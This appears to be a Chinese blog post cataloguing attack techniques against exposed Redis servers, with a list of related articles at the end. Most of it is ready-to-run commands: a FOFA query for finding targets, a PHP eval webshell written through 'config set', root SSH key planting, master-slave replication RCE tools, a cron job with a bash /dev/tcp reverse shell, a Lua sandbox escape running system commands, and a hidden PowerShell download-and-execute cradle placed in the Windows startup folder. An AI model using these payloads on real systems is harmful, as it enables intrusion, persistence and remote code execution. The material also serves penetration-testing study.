Redis的攻击手法
目录
Redis概述
REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。
Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库,并提供多种语言的 API。
Redis 通常被称为数据结构服务器,因为值(value)可以是字符串(String)、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets)等类型。
Redis未授权
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
漏洞发现
漏洞发现就是查看IP是否开启6379端口。
FOFA语句
port="6379" && protocol="redis"
漏洞验证
使用redis管理工具 点击下载
Redis写shell
前提条件
- 已知web目录的路径
- 具有系统超级管理员权限
漏洞利用
写入文件
config set dir /var/www/html/
config set dbfilename test.php
set xxx "\r\n\r\<?php @eval($_POST['test']);?>\r\n\r\"
//这里的\r\n\r\代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。
save
Redis写公钥
前提条件
- 开启ssh服务,并且可以连接
- 运行Redis的用户为root用户
漏洞利用
首先生成ssh-rsa密钥
ssh-keygen -t rsa
把公钥导入key.txt,前后添加\n\n防止写入的公钥乱码导致不可用
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
将生成的公钥写入Redis服务器的内存之中
cat key.txt | redis-cli -h 127.0.0.1 -p 6379 -x set xxx
设置路径和保存的文件名,将内存变量导入磁盘文件
redis-cli -h 127.0.0.1 -p 6379 //连接Redis
config set dir /root/.ssh/ //把目录设为/root/.ssh/
config get dir //查看目录
config set dbfilename "authorized_keys" //文件名设置为authorized_keys
save //保存
使用ssh连接
ssh root@172.20.10.3 -p 22 -i /root/.ssh/id_rsa
主从复制RCE
漏洞简介:
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master/leader),后者称为从节点(slave/follower) ; 数据的复制是单向的,只能由主节点到从节点。Master以写为主,Slave以读为主。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。
漏洞利用
网上公开的几个利用脚本,选择哪个都行
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/vulhub/redis-rogue-getshell
https://github.com/Ridter/redis-rce
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
我使用redis-rogue-server来复现
使用教程:
-h, --help 显示此帮助信息并退出
--rhost=REMOTE_HOST 目标主机
--rport=REMOTE_PORT 目标redis端口,默认6379
--lhost=LOCAL_HOST 攻击服务器 ip
--lport=LOCAL_PORT 攻击服务器监听端口,默认21000
--exp=EXP_FILE 要加载的 Redis 模块,默认为 exp.so
-v, --verbose 显示完整的数据流
首先下载脚本,编译so文件
交互式的shell
./redis-rogue-server.py --rhost 127.0.0.1 --lhost 127.0.0.1
反弹shell
计划任务反弹shell
利用条件:
- 仅限centos
漏洞利用
set xx "\n* * * * * bash -i >& /dev/tcp/127.0.0.1/6336 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
//大约等待一分钟就能收到shell
Redis Lua沙盒绕过命令执行
漏洞介绍:
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本1的能力。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
利用条件:
- Ubuntu系统
利用方式:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
Redis在Windows下利用方式
介绍:
Redis 官方不建议在 windows 下使用 Redis,所以官网没有 windows 版本可以下载。微软团队维护开源 windows 版本只有3.X的,所以适用用Linux的写公钥和主从复制不适合Windows系统的。
写webshell
前提条件
- 已知web目录的路径
- 具有系统超级管理员权限
写入文件(跟Linux的操作相同)
config set dir C:\phpstudy_pro\WWW\
config set dbfilename test.php
set xxx "<?php @eval($_POST['test']);?>"
save
写启动项
写入到启动项的缺点就是我们需要使对方电脑重启才能上线木马
启动项路径
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
//用户路径需要去猜测,把常见的系统用户名尝试一下(admin、Administrator、test、user、guest、guanli..等等)
由于我们写入的文件存在一些版本信息等垃圾数据,所以我们写入一个bat下载运行木马即可,可以用cs简单实现。
把生成的powershell脚本写入到bat文件
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.20.10.5:80/a'))"
Redis写入脚本
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename 1.bat
set xxx "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://172.20.10.5:80/a'))\"\r\n\r\n"
save
重启电脑即可上线
写入无损文件
原理:
利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave,这里master的数据空间是可以保证绝对干净的,因此就轻松实现了写无损文件了
利用脚本
使用方法:
python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]
成功写入
还有一些其他方式,比如03系统可以写入mof文件,可以写入dll进行劫持,以后有空在更吧。
参考
https://www.freebuf.com/articles/web/289231.html
https://www.freebuf.com/articles/web/256655.html
https://xz.aliyun.com/t/7940#toc-1
https://nosec.org/home/detail/4464.html
Redis的攻击手法的更多相关文章
- 360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法
360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法 如何做好网站的安全性测试 360网站安全检测 - 在线安全检测,网站漏洞修复,网站后门检测http://websca ...
- Redis的一些攻击手法整理
Redis基础 1 Redis基础 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开 ...
- Java 7爆最新漏洞,10年前的攻击手法仍有效
英文原文:New Reflection API affected by a known 10+ years old attack 据 SECLISTS 透露,他们发现新的 Reflection API ...
- RDPInception攻击手法
在讲RDPInception攻击手段之前,我们先了解一下RDP远程桌面(Remote Desktop Protocol)协议.RDP远程桌面协议(Remote Desktop Protocol)是一个 ...
- redis漏洞攻击
参考: https://www.cnblogs.com/kobexffx/p/11000337.html 利用redis漏洞获得root权限,挖矿. 解决方法: 用普通帐号启redis,用云的redi ...
- 【漏洞复现】永恒之蓝 ms17-010 漏洞利用 攻击手法
日期:2018-07-21 21:09:16 介绍:永恒之蓝利用的 ms17-010 漏洞,拿 Shell.查看文件.获取密码. 0x01.实验环境 攻击机 系统:macOS Sierra 10.12 ...
- 二十五:XSS跨站值原理分类及攻击手法
HTML DOM树 XSS跨站产生原理,危害,特点 本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本 XSS是什么? XSS全称跨站脚本(Cross Site Scripting),为 ...
- 对一次 redis 未授权写入攻击的分析以及学习
前段时间自己使用 redis 开发的时候,搞了一个 docker ,然后直接开放连接没有密码,其实一开始我就知道会被黑产扫到然后给我种马,但是把因为也是测试服务,其实也没怎么上心,于是就放任自由了,结 ...
- redis 五种常见攻击方法
如果需要大佬写好的脚本,可以直接去github上面搜 参考文章:https://www.cnblogs.com/wineme/articles/11731612.html https://www ...
- Redis配置及攻击利用
Redis配置及攻击利用 Redis及其安全配置 Redis介绍 redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...
随机推荐
- 第一百篇:JS异步
好家伙,打工人要打工,博客会更新的没有以前频繁了 芜湖,一百篇了,这篇写一个比较难的异步(其实并不难理解,主要是为promise铺垫) 老样子,先补点基础: 1.进程 来吧,新华字典 大 ...
- NFS生产环境部署调优
1.NFS简介 NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间共享资源.在NFS的应用中,本地NFS的客户端应用可以透 ...
- 2、String类
String类 String 对象用于保存字符串,也就是一组字符序列 字符串常量对象是用双引号括起来的字符序列,例如:"你好"."12.07"."bo ...
- kindeditor获取html内容之终极大法
请允许我哔哔两句,真是难受啊,有问题去百度,结果百了一堆乱七八糟的内容,有头没尾,有尾没头的,搞得我晕头转向,现在把kindeditor获取HTML的终极打法无偿分享出来,这可是我配置查找了一下午的成 ...
- 如何修改 Kubernetes 节点 IP 地址
转载自:https://www.qikqiak.com/post/how-to-change-k8s-node-ip/ 昨天网络环境出了点问题,本地的虚拟机搭建的 Kubernetes 环境没有固定 ...
- Centos7搭建 KVM 环境
注意:使用KVM管理虚拟机分命令行和图形化界面两种方式,这里最后一步安装的工具是图形化管理工具 安装前准备 验证CPU是否支持KVM 如果结果中有vmx(Intel)或svm(AMD)字样,就说明CP ...
- python中限定导入的子模块
如果包定义文件__init__.py中存在一个叫做__all__的列表变量,那么在使用from package import *的时候就把这个列表中的所有名字作为要导入的模块名. 例如在example ...
- 线性回归大结局(岭(Ridge)、 Lasso回归原理、公式推导),你想要的这里都有
本文已参与「新人创作礼」活动,一起开启掘金创作之路. 线性模型简介 所谓线性模型就是通过数据的线性组合来拟合一个数据,比如对于一个数据 \(X\) \[X = (x_1, x_2, x_3, ..., ...
- CentOS 7.9 安装 rocketmq-4.9.2
一.CentOS 7.9 安装 rocketmq-4.9.2 地址: https://rocketmq.apache.org https://github.com/apache/rocketmq ht ...
- Golang可能会踩的58个坑之初级篇
前言 Go 是一门简单有趣的编程语言,与其他语言一样,在使用时不免会遇到很多坑,不过它们大多不是 Go 本身的设计缺陷.如果你刚从其他语言转到 Go,那这篇文章里的坑多半会踩到. 如果花时间学习官方 ...